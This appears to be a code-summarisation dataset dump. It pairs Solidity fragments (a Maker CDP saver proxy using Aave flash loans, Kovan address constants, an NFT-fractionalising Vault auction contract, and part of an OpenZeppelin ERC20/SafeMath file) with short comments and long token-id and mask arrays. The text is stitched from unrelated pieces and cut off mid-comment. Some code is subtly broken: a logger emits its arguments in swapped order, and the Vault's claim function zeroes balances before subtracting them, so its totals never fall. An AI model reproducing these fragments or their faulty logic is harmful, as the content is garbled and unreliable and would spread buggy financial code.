address public constant DAI_ADDRESS = 0x4F96Fe3b7A6Cf9725f59d353F723c1bDb64CA6Aa;
address payable public constant SCD_MCD_MIGRATION = 0x411B2Faa662C8e3E5cF8f01dFdae0aeE482ca7b0;
// Our contracts
address public constant SUBSCRIPTION_ADDRESS = 0xFC41f79776061a396635aD0b9dF7a640A05063C1;
address public constant MONITOR_ADDRESS = 0xfC1Fc0502e90B7A3766f93344E1eDb906F8A75DD;
// TODO: find out what the
address public constant NEW_CDAI_ADDRESS = 0xe7bc397DBd069fC7d0109C0636d06888bb50668c;
address public constant NEW_IDAI_ADDRESS = 0x6c1E2B0f67e00c06c8e2BE7Dc681Ab785163fF4D;
}
// solhint-disable-next-line no-empty-blocks
contract ConstantAddresses is ConstantAddressesMainnet {}
contract FlashLoanLogger {
event FlashLoan(string actionType, uint256 id, uint256 loanAmount, address sender);
function logFlashLoan(
string calldata _actionType,
uint256 _id,
uint256 _loanAmount,
address _sender
) external {
emit FlashLoan(_actionType, _loanAmount, _id, _sender);
}
}
abstract contract ILendingPool {
function flashLoan( address payable _receiver, address _reserve, uint _amount, bytes calldata _params) external virtual;
}
contract AutomaticProxyV2 is MCDSaverProxy {
address payable public constant MCD_SAVER_FLASH_LOAN = 0xCcFb21Ced87762a1d8425F867a7F8Ec2dFfaBE92;
address public constant AAVE_POOL_CORE = 0x3dfd23A6c5E8BbcFc9581d2E864a68feb6a076d3;
ILendingPool public constant lendingPool = ILendingPool(0x398eC7346DcD622eDc5ae82352F02bE94C62d119);
FlashLoanLogger public constant logger = FlashLoanLogger(
0xb9303686B0EE92F92f63973EF85f3105329D345c
);
function automaticBoost(
uint[6] memory _data, // cdpId, daiAmount, minPrice, exchangeType, gasCost, 0xPrice
address _joinAddr,
address _exchangeAddress,
bytes memory _callData
) public payable {
uint256 maxDebt = getMaxDebt(_data[0], manager.ilks(_data[0]));
uint256 debtAmount = _data[1];
if (maxDebt >= debtAmount) {
boost(_data, _joinAddr, _exchangeAddress, _callData);
return;
}
MCD_SAVER_FLASH_LOAN.transfer(msg.value); // 0x fee
uint256 loanAmount = sub(debtAmount, maxDebt);
uint maxLiq = getAvailableLiquidity(DAI_JOIN_ADDRESS);
loanAmount = loanAmount > maxLiq ? maxLiq : loanAmount;
manager.cdpAllow(_data[0], MCD_SAVER_FLASH_LOAN, 1);
bytes memory paramsData = abi.encode(_data, _joinAddr, _exchangeAddress, _callData, false);
lendingPool.flashLoan(MCD_SAVER_FLASH_LOAN, DAI_ADDRESS, loanAmount, paramsData);
manager.cdpAllow(_data[0], MCD_SAVER_FLASH_LOAN, 0);
logger.logFlashLoan("AutomaticBoost", loanAmount, _data[0], msg.sender);
}
function automaticRepay(
uint256[6] memory _data,
address _joinAddr,
address _exchangeAddress,
bytes memory _callData
) public payable {
uint collAmount = _data[1];
uint256 maxColl = getMaxCollateral(_data[0], manager.ilks(_data[0]));
if (maxColl >= collAmount) {
repay(_data, _joinAddr, _exchangeAddress, _callData);
return;
}
MCD_SAVER_FLASH_LOAN.transfer(msg.value); // 0x fee
uint256 loanAmount = sub(_data[1], maxColl);
uint maxLiq = getAvailableLiquidity(_joinAddr);
loanAmount = loanAmount > maxLiq ? maxLiq : loanAmount;
manager.cdpAllow(_data[0], MCD_SAVER_FLASH_LOAN, 1);
bytes memory paramsData = abi.encode(_data, _joinAddr, _exchangeAddress, _callData, true);
lendingPool.flashLoan(MCD_SAVER_FLASH_LOAN, getAaveCollAddr(_joinAddr), loanAmount, paramsData);
manager.cdpAllow(_data[0], MCD_SAVER_FLASH_LOAN, 0);
logger.logFlashLoan("AutomaticRepay", loanAmount, _data[0], msg.sender);
}
/// @notice Gets the maximum amount of debt available to generate
/// @param _cdpId Id of the CDP
/// @param _ilk Ilk of the CDP
function getMaxDebt(uint256 _cdpId, bytes32 _ilk) public override view returns (uint256) {
uint256 price = getPrice(_ilk);
(, uint256 mat) = spotter.ilks(_ilk);
(uint256 collateral, uint256 debt) = getCdpInfo(manager, _cdpId, _ilk);
return sub(wdiv(wmul(collateral, price), mat), debt);
}
/// @notice Gets the maximum amount of collateral available to draw
/// @param _cdpId Id of the CDP
/// @param _ilk Ilk of the CDP
/// @dev Substracts 10 wei to aviod rounding error later on
function getMaxCollateral(uint _cdpId, bytes32 _ilk) public view returns (uint) {
uint price = getPrice(_ilk);
(uint collateral, uint debt) = getCdpInfo(manager, _cdpId, _ilk);
(, uint mat) = Spotter(SPOTTER_ADDRESS).ilks(_ilk);
return sub(sub(collateral, (div(mul(mat, debt), price))), 10);
}
function getAaveCollAddr(address _joinAddr) internal returns (address) {
if (_joinAddr == 0x2F0b23f53734252Bda2277357e97e1517d6B042A
|| _joinAddr == 0x775787933e92b709f2a3C70aa87999696e74A9F8) {
return KYBER_ETH_ADDRESS;
} else if (_joinAddr == DAI_JOIN_ADDRESS) {
return DAI_ADDRESS;
} else {
return getCollateralAddr(_joinAddr);
}
}
function getAvailableLiquidity(address _joinAddr) internal returns (uint liquidity) {
address tokenAddr = getAaveCollAddr(_joinAddr);
if (tokenAddr == KYBER_ETH_ADDRESS) {
liquidity = AAVE_POOL_CORE.balance;
} else {
liquidity = ERC20(tokenAddr).balanceOf(AAVE_POOL_CORE);
}
}
} | Rinkeby, when no Kovan new MCD contracts Our contracts TODO: find out what the | contract ConstantAddressesKovan {
address public constant KYBER_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address public constant WETH_ADDRESS = 0xd0A1E359811322d97991E03f863a0C30C2cF029C;
address public constant MAKER_DAI_ADDRESS = 0xC4375B7De8af5a38a93548eb8453a498222C4fF2;
address public constant MKR_ADDRESS = 0xAaF64BFCC32d0F15873a02163e7E500671a4ffcD;
address public constant VOX_ADDRESS = 0xBb4339c0aB5B1d9f14Bd6e3426444A1e9d86A1d9;
address public constant PETH_ADDRESS = 0xf4d791139cE033Ad35DB2B2201435fAd668B1b64;
address public constant TUB_ADDRESS = 0xa71937147b55Deb8a530C7229C442Fd3F31b7db2;
address public constant LOGGER_ADDRESS = 0x32d0e18f988F952Eb3524aCE762042381a2c39E5;
address payable public constant WALLET_ID = 0x54b44C6B18fc0b4A1010B21d524c338D1f8065F6;
address public constant OTC_ADDRESS = 0x4A6bC4e803c62081ffEbCc8d227B5a87a58f1F8F;
address public constant COMPOUND_DAI_ADDRESS = 0x25a01a05C188DaCBCf1D61Af55D4a5B4021F7eeD;
address public constant SOLO_MARGIN_ADDRESS = 0x4EC3570cADaAEE08Ae384779B0f3A45EF85289DE;
address public constant IDAI_ADDRESS = 0xA1e58F3B1927743393b25f261471E1f2D3D9f0F6;
address public constant CDAI_ADDRESS = 0xb6b09fBffBa6A5C4631e5F7B2e3Ee183aC259c0d;
address public constant STUPID_EXCHANGE = 0x863E41FE88288ebf3fcd91d8Dbb679fb83fdfE17;
address public constant DISCOUNT_ADDRESS = 0x1297c1105FEDf45E0CF6C102934f32C4EB780929;
address public constant SAI_SAVER_PROXY = 0xADB7c74bCe932fC6C27ddA3Ac2344707d2fBb0E6;
address public constant KYBER_WRAPPER = 0x68c56FF0E7BBD30AF9Ad68225479449869fC1bA0;
address public constant UNISWAP_WRAPPER = 0x2A4ee140F05f1Ba9A07A020b07CCFB76CecE4b43;
address public constant ETH2DAI_WRAPPER = 0x823cde416973a19f98Bb9C96d97F4FE6C9A7238B;
address public constant OASIS_WRAPPER = 0x0257Ba4876863143bbeDB7847beC583e4deb6fE6;
address public constant SAVER_EXCHANGE_ADDRESS = 0xACA7d11e3f482418C324aAC8e90AaD0431f692A6;
address public constant FACTORY_ADDRESS = 0xc72E74E474682680a414b506699bBcA44ab9a930;
address public constant PIP_INTERFACE_ADDRESS = 0xA944bd4b25C9F186A846fd5668941AA3d3B8425F;
address public constant PROXY_REGISTRY_INTERFACE_ADDRESS = 0x64A436ae831C1672AE81F674CAb8B6775df3475C;
address public constant GAS_TOKEN_INTERFACE_ADDRESS = 0x0000000000170CcC93903185bE5A2094C870Df62;
address public constant KYBER_INTERFACE = 0x692f391bCc85cefCe8C237C01e1f636BbD70EA4D;
address public constant SAVINGS_LOGGER_ADDRESS = 0x2aa889D809B29c608dA99767837D189dAe12a874;
address public constant UNISWAP_FACTORY = 0xf5D915570BC477f9B8D6C0E980aA81757A3AaC36;
address public constant MANAGER_ADDRESS = 0x1476483dD8C35F25e568113C5f70249D3976ba21;
address public constant VAT_ADDRESS = 0xbA987bDB501d131f766fEe8180Da5d81b34b69d9;
address public constant SPOTTER_ADDRESS = 0x3a042de6413eDB15F2784f2f97cC68C7E9750b2D;
address public constant JUG_ADDRESS = 0xcbB7718c9F39d05aEEDE1c472ca8Bf804b2f1EaD;
address public constant DAI_JOIN_ADDRESS = 0x5AA71a3ae1C0bd6ac27A1f28e1415fFFB6F15B8c;
address public constant ETH_JOIN_ADDRESS = 0x775787933e92b709f2a3C70aa87999696e74A9F8;
address public constant MIGRATION_ACTIONS_PROXY = 0x433870076aBd08865f0e038dcC4Ac6450e313Bd8;
address public constant PROXY_ACTIONS = 0xd1D24637b9109B7f61459176EdcfF9Be56283a7B;
address public constant SAI_ADDRESS = 0xC4375B7De8af5a38a93548eb8453a498222C4fF2;
address public constant DAI_ADDRESS = 0x4F96Fe3b7A6Cf9725f59d353F723c1bDb64CA6Aa;
address payable public constant SCD_MCD_MIGRATION = 0x411B2Faa662C8e3E5cF8f01dFdae0aeE482ca7b0;
address public constant SUBSCRIPTION_ADDRESS = 0xFC41f79776061a396635aD0b9dF7a640A05063C1;
address public constant MONITOR_ADDRESS = 0xfC1Fc0502e90B7A3766f93344E1eDb906F8A75DD;
address public constant NEW_CDAI_ADDRESS = 0xe7bc397DBd069fC7d0109C0636d06888bb50668c;
address public constant NEW_IDAI_ADDRESS = 0x6c1E2B0f67e00c06c8e2BE7Dc681Ab785163fF4D;
}
| 337,193 | [
1,
54,
754,
73,
1637,
16,
1347,
1158,
1475,
1527,
304,
394,
490,
10160,
20092,
29613,
20092,
2660,
30,
1104,
596,
4121,
326,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
10551,
7148,
47,
1527,
304,
288,
203,
565,
1758,
1071,
5381,
1475,
61,
6271,
67,
1584,
44,
67,
15140,
273,
374,
17432,
1340,
1340,
41,
1340,
73,
41,
73,
41,
1340,
41,
73,
41,
73,
41,
1340,
9383,
41,
1340,
1340,
41,
1340,
1340,
1340,
73,
9383,
73,
41,
31,
203,
565,
1758,
1071,
5381,
678,
1584,
44,
67,
15140,
273,
374,
7669,
20,
37,
21,
41,
4763,
10689,
2499,
1578,
22,
72,
10580,
2733,
21,
41,
4630,
74,
28,
4449,
69,
20,
39,
5082,
39,
22,
71,
42,
3103,
29,
39,
31,
203,
565,
1758,
1071,
5381,
490,
14607,
654,
67,
9793,
45,
67,
15140,
273,
374,
14626,
8942,
5877,
38,
27,
758,
28,
1727,
25,
69,
7414,
69,
29,
4763,
8875,
24008,
5193,
8643,
69,
7616,
24532,
22,
39,
24,
74,
42,
22,
31,
203,
565,
1758,
1071,
5381,
490,
47,
54,
67,
15140,
273,
374,
21703,
69,
42,
1105,
38,
4488,
39,
1578,
72,
20,
42,
25984,
9036,
69,
3103,
30886,
73,
27,
41,
12483,
9599,
21,
69,
24,
1403,
71,
40,
31,
203,
565,
1758,
1071,
5381,
776,
22550,
67,
15140,
273,
374,
20029,
70,
24,
3707,
29,
71,
20,
69,
38,
25,
38,
21,
72,
29,
74,
3461,
38,
72,
26,
73,
5026,
23728,
6334,
37,
21,
73,
29,
72,
5292,
37,
21,
72,
29,
31,
203,
565,
1758,
1071,
5381,
453,
1584,
44,
67,
15140,
273,
374,
5841,
24,
72,
7235,
2499,
5520,
71,
41,
15265,
1871,
4763,
2290,
22,
38,
3787,
1611,
24,
4763,
74,
1871,
2
]
|
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC1155/ERC1155Holder.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./utility/Whitelist.sol";
import "./utility/VaultToken.sol";
import "./interfaces/IVaultToken.sol";
contract Vault is ReentrancyGuard, Whitelist, ERC1155Holder {
using SafeMath for uint256;
using SafeERC20 for IERC20;
enum ContractState {
PREPARE,
AUCTIONING,
LISTED
}
struct NftItem {
address assetAddress;
uint256 tokenId;
bool is1155;
bool deposited;
}
struct Bid {
address bidder;
uint256 amount;
uint256 totalValue;
}
struct ClaimData {
uint256 vaultToken; // FRACTIONALIZED NFT TOKEN
uint256 settlementToken; // ONE TOKEN
}
// name of the vault
string public name;
string public symbol;
address public creatorAddress;
// ref. price to be displayed (in ONE)
uint256 public referencePrice;
// when the auction ended
uint256 public auctionEnded;
// Contract state
ContractState public state;
// Vault token created by this contract.
IVaultToken public vaultToken;
// Bidder table
Bid[] public bidding;
uint256 public auctionCount;
// Claim table
mapping(address => ClaimData) public claimData;
uint256 public totalToken;
uint256 public totalSettlementToken;
// NFT deposited for ERC-20 IDO
mapping(uint256 => NftItem) public intialList;
uint256 public intialListCount;
uint256 constant MAX_UINT256 = uint256(-1);
constructor(
string memory _name,
string memory _symbol,
uint256 _ending,
address _creatorAddress,
uint256 _referencePrice // ideally the floor price for the collection (in ONE)
) public {
require(_ending != 0, "Invalid _ending");
require(_referencePrice != 0, "Invalid _referencePrice");
name = _name;
symbol = _symbol;
state = ContractState.PREPARE;
auctionEnded = block.timestamp + _ending;
// Deploy the vault token
VaultToken deployedContract = new VaultToken(_name, _symbol, 18);
vaultToken = IVaultToken(address(deployedContract));
creatorAddress = _creatorAddress;
referencePrice = _referencePrice;
if (_creatorAddress != msg.sender) {
addAddress(_creatorAddress);
}
}
// PUBLIC READ-ONLY FUNCTIONS
// total ERC-20 tokens to be issued
function totalIssuingToken() public view returns (uint256) {
return totalToken;
}
function currentAuction() public view returns (uint256) {
return auctionCount;
}
// PREPARATION STAGE
// add NFT to the intial list
function add(address _assetAddress, uint256 _tokenId)
public
nonReentrant
onlyWhitelisted
{
require(state == ContractState.PREPARE, "Invalid contract state");
// take the NFT
IERC1155(_assetAddress).safeTransferFrom(
msg.sender,
address(this),
_tokenId,
1,
"0x00"
);
// add it to the initial list
intialList[intialListCount].assetAddress = _assetAddress;
intialList[intialListCount].tokenId = _tokenId;
intialList[intialListCount].is1155 = true;
intialList[intialListCount].deposited = true;
intialListCount += 1;
totalToken += 1 ether;
}
// remove NFT from the initial list
function remove(uint256 _id) public nonReentrant onlyWhitelisted {
require(state == ContractState.PREPARE, "Invalid contract state");
require(intialListCount > _id, "Invalid given id");
require(intialList[_id].deposited == true, "Invalid deposit flag");
intialList[_id].deposited = false;
IERC1155(intialList[_id].assetAddress).safeTransferFrom(
address(this),
msg.sender,
intialList[_id].tokenId,
1,
"0x00"
);
totalToken -= 1 ether;
}
// looks for the asset address for the given id
function assetAddressOf(uint256 _id) public view returns (address) {
require(state == ContractState.PREPARE, "Invalid contract state");
require(intialListCount > _id, "Invalid given id");
return intialList[_id].assetAddress;
}
function extendAuction(uint256 _ending)
public
nonReentrant
onlyWhitelisted
{
auctionEnded += _ending;
}
// AUCTION STAGE
// start the auction process
function startAuctionProcess() public nonReentrant onlyWhitelisted {
require(state == ContractState.PREPARE, "Invalid contract state");
require(auctionEnded > block.timestamp, "auctionEnded has been passed");
state = ContractState.AUCTIONING;
}
// amount -> total ERC-20 want to bidding, value -> ONE to be deposited
function bid(uint256 _amount, uint256 _value) public payable nonReentrant {
require(msg.value == _value, "Payment is not attached");
require(state == ContractState.AUCTIONING, "Invalid contract state");
require(auctionEnded > block.timestamp, "auctionEnded has been passed");
require(_amount > 0 && _value > 0, "Invalid amount");
bidding.push(
Bid({bidder: msg.sender, amount: _amount, totalValue: _value})
);
totalSettlementToken = totalSettlementToken.add(_value);
}
// finalize the auction
function finalize() public nonReentrant onlyWhitelisted {
require(block.timestamp > auctionEnded, "Auction is not yet finished");
require(state == ContractState.AUCTIONING, "Invalid contract state");
Bid[] memory sortedBidding = _sort(bidding);
uint256 remaining = totalToken;
for (uint256 i = 0; i < sortedBidding.length; i++) {
Bid memory bidInfo = sortedBidding[i];
if (remaining == 0) {
// no more token left
claimData[bidInfo.bidder].settlementToken = claimData[
bidInfo.bidder
].settlementToken.add(bidInfo.totalValue);
} else if (bidInfo.amount >= remaining) {
uint256 overpaid = bidInfo.amount.sub(remaining);
uint256 overpaidInSettlement = (
(bidInfo.totalValue.mul(overpaid))
).div(bidInfo.amount);
claimData[bidInfo.bidder].vaultToken = claimData[bidInfo.bidder]
.vaultToken
.add(remaining);
claimData[bidInfo.bidder].settlementToken = claimData[
bidInfo.bidder
].settlementToken.add(overpaidInSettlement);
// debit the creator
claimData[creatorAddress].settlementToken = claimData[
creatorAddress
].settlementToken.add(
bidInfo.totalValue.sub(overpaidInSettlement)
);
remaining = 0;
} else {
claimData[bidInfo.bidder].vaultToken = claimData[bidInfo.bidder]
.vaultToken
.add(bidInfo.amount);
// debit the creator
claimData[creatorAddress].settlementToken = claimData[
creatorAddress
].settlementToken.add(bidInfo.totalValue);
remaining = remaining.sub(bidInfo.amount);
}
}
// clear the array
uint256 max = bidding.length;
for (uint256 i = 0; i < max; i++) {
bidding.pop();
}
state = ContractState.LISTED;
}
// LISTED STAGE
function claim() public nonReentrant {
require(state == ContractState.LISTED, "Invalid contract state");
if (claimData[msg.sender].vaultToken > 0) {
// mint TOKEN back to the user
vaultToken.mint(msg.sender, claimData[msg.sender].vaultToken);
claimData[msg.sender].vaultToken = 0;
totalToken = totalToken.sub(claimData[msg.sender].vaultToken);
}
if (claimData[msg.sender].settlementToken > 0) {
uint256 amount = claimData[msg.sender].settlementToken;
_safeTransferETH(msg.sender, amount);
claimData[msg.sender].settlementToken = 0;
totalSettlementToken = totalSettlementToken.sub(
claimData[msg.sender].settlementToken
);
}
}
function restart() public nonReentrant onlyWhitelisted {
state = ContractState.PREPARE;
}
// TODO : FRACTIONAL NFT ERC-20 -> NFT
// PRIVATE FUNCTIONS
function _quickSort(
Bid[] memory arr,
int256 left,
int256 right
) private pure {
int256 i = left;
int256 j = right;
if (i == j) return;
uint256 pivot = arr[uint256(left + (right - left) / 2)].totalValue;
while (i <= j) {
while (arr[uint256(i)].totalValue > pivot) i++;
while (pivot > arr[uint256(j)].totalValue) j--;
if (i <= j) {
(arr[uint256(i)], arr[uint256(j)]) = (
arr[uint256(j)],
arr[uint256(i)]
);
i++;
j--;
}
}
if (left < j) _quickSort(arr, left, j);
if (i < right) _quickSort(arr, i, right);
}
function _sort(Bid[] memory data) private pure returns (Bid[] memory) {
_quickSort(data, int256(0), int256(data.length - 1));
return data;
}
function _safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(
success,
"TransferHelper::safeTransferETH: ETH transfer failed"
);
}
}
| looks for the asset address for the given id | function assetAddressOf(uint256 _id) public view returns (address) {
require(state == ContractState.PREPARE, "Invalid contract state");
require(intialListCount > _id, "Invalid given id");
return intialList[_id].assetAddress;
}
| 5,398,001 | [
1,
7330,
87,
364,
326,
3310,
1758,
364,
326,
864,
612,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
3310,
1887,
951,
12,
11890,
5034,
389,
350,
13,
1071,
1476,
1135,
261,
2867,
13,
288,
203,
3639,
2583,
12,
2019,
422,
13456,
1119,
18,
3670,
11713,
16,
315,
1941,
6835,
919,
8863,
203,
3639,
2583,
12,
474,
649,
682,
1380,
405,
389,
350,
16,
315,
1941,
864,
612,
8863,
203,
203,
3639,
327,
509,
649,
682,
63,
67,
350,
8009,
9406,
1887,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.6.11;
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint a, uint b) internal pure returns (bool, uint) {
uint c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint a, uint b) internal pure returns (bool, uint) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint a, uint b) internal pure returns (bool, uint) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint a, uint b) internal pure returns (bool, uint) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint a, uint b) internal pure returns (bool, uint) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint a, uint b) internal pure returns (uint) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) return 0;
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint a, uint b) internal pure returns (uint) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
